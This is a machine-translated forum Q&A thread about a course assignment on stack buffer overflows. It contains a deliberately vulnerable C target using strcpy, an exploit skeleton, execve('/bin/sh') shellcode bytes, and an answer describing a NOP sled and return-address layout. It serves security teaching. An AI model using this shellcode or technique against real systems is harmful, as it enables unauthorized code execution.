2010-10-05 9 views
5

Ich versuche, dieses Problem für eine meiner comp sci-Klassen herauszufinden, ich habe jede Ressource genutzt und immer noch Probleme, wenn jemand etwas Einblick geben könnte, würde ich es sehr schätzen.Absichtliches Pufferüberlauf-Exploit-Programm

Ich habe dieses "Ziel" Ich muss eine Execve ("/ bin/sh") mit dem Pufferüberlauf Exploit ausführen. Beim Überlauf von buf [128] erscheint beim Ausführen des unsicheren Befehls strcpy ein Zeiger zurück in den Puffer an dem Ort, an dem das System erwartet, eine Rückkehradresse zu finden.

target.c

int bar(char *arg, char *out) 
{ 
strcpy(out,arg); 
return 0; 
} 

int foo(char *argv[]) 
{ 
char buf[128]; 
bar(argv[1], buf); 
} 

int main(int argc, char *argv[]) 
{ 
if (argc != 2) 
{ 
    fprintf(stderr, "target: argc != 2"); 
    exit(EXIT_FAILURE); 
} 
foo(argv); 
return 0; 
} 

exploit.c

#include "shellcode.h" 

#define TARGET "/tmp/target1" 

int main(void) 
{ 
    char *args[3]; 
    char *env[1]; 

    args[0] = TARGET; args[1] = "hi there"; args[2] = NULL; 
    env[0] = NULL; 

    if (0 > execve(TARGET, args, env)) 
    fprintf(stderr, "execve failed.\n"); 

    return 0; 
} 

shellcode.h

static char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

Ich verstehe ich brauche argv zu füllen [1] mit mehr als 128 Byte, die Bytes über 128 sind die Rücksprungadresse, die auf den Puffer zurückgewiesen werden sollte, so dass das/bin/sh innerhalb ausgeführt wird. Ist das soweit richtig? Kann jemand den nächsten Schritt machen?

Vielen Dank für jede Hilfe.

+2

Ein Stapelüberlauf und ein Pufferüberlauf sind zwei ziemlich unterschiedliche Dinge. – BoltClock

+0

Dies hängt stark von Ihrem System ab (Compiler, CPU usw.), und Sie haben sich nicht darum bemüht, irgendetwas davon anzugeben. –

+0

Ich konnte nicht anders, als zu bemerken, dass Ihr Shell-Code eine exakte Kopie des gefundenen [hier] ist (http://insecure.org/stf/smashstack.html). Sie sollten diesen Artikel wahrscheinlich durchlesen und verstehen, was vor sich geht, damit Sie Ihre eigenen implementieren können. Plagiate in der Universität sind ernste Dinge. – Paul

Antwort

5

Nun, also wollen Sie, dass das Programm Ihren Shellcode ausführt. Es ist bereits in Maschinenform, so dass es bereit ist, vom System ausgeführt zu werden. Sie haben es in einem Puffer gespeichert. Die Frage wäre also: "Wie kann das System meinen Code ausführen?" Genauer gesagt: "Woher weiß das System, wo nach dem nächsten auszuführenden Code zu suchen ist?" Die Antwort in diesem Fall ist die Absenderadresse, von der Sie sprechen.

Grundsätzlich sind Sie auf dem richtigen Weg. Haben Sie versucht, den Code auszuführen? Eine Sache, die ich bei der Durchführung dieser Art von Exploit bemerkt habe, ist, dass es keine exakte Wissenschaft ist. Manchmal gibt es andere Dinge im Speicher, von denen Sie nicht erwarten, dass sie da sind. Sie müssen also die Anzahl der Bytes erhöhen, die Sie in den Puffer einfügen, um die Rücksendeadresse korrekt an das vom System erwartete Datum anzupassen.

Ich bin kein Spezialist für Sicherheit, aber ich kann Ihnen ein paar Dinge sagen, die helfen könnten. Eine davon ist, dass ich normalerweise einen "NOP Sled" - im Wesentlichen nur eine Reihe von 0x90 Bytes, die nichts anderes machen als "NOP" Anweisungen auf dem Prozessor ausführen. Ein weiterer Trick besteht darin, die Rückkehradresse am Ende des Puffers zu wiederholen, so dass, wenn auch nur eine von ihnen die Rückkehradresse auf dem Stapel überschreibt, eine erfolgreiche Rückkehr zu der gewünschten Stelle erfolgt.

Also, Ihr Puffer wird wie folgt aussehen:

| NOP SLED | SHELLCODE | WIEDERHOLTE RÜCKKEHRADRESSE |

(Hinweis: Dies sind nicht meine Ideen, ich habe sie von Hacking: Die Kunst der Ausbeutung, von Jon Erickson. Ich empfehle dieses Buch, wenn Sie mehr darüber erfahren möchten).

die Adresse zu berechnen, können Sie etwas ähnlich der folgenden verwenden:

unsigned long sp(void) 
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer 

int main(int argc, char *argv[]) 
{ 
    int i, offset; 
    long esp, ret, *addr_ptr; 
    char* buffer; 

    offset = 0; 
    esp = sp(); 
    ret = esp - offset; 
} 

Nun ret wird die Absenderadresse Sie unter der Annahme zurückkehren wollen halten zu, dass Sie auf dem Heap zu zuteilen puffern.

+0

Sehr gut erklärt, vielen Dank, dass Sie sich die Zeit genommen haben zu helfen. – CRO

+0

Ich war einmal ein CSCI Student. Ich weiß, dass das Lernen des Pufferüberlaufs schwierig ist - ich musste tatsächlich ähnliche Hilfe bekommen, als ich meinen ersten Bachelor-Kurs in Computerarchitektur absolvierte. :) Ich hoffe nur, ich könnte helfen. – jwir3

+0

Obwohl Jon Ericksons Buch wirklich nett ist, würde ich "The Shellcoders Handbook" empfehlen. IMHO ist es fortgeschrittener, es nimmt an, dass Sie bereits einige Sachen kennen (ASM, C, OS Details ..) – jyz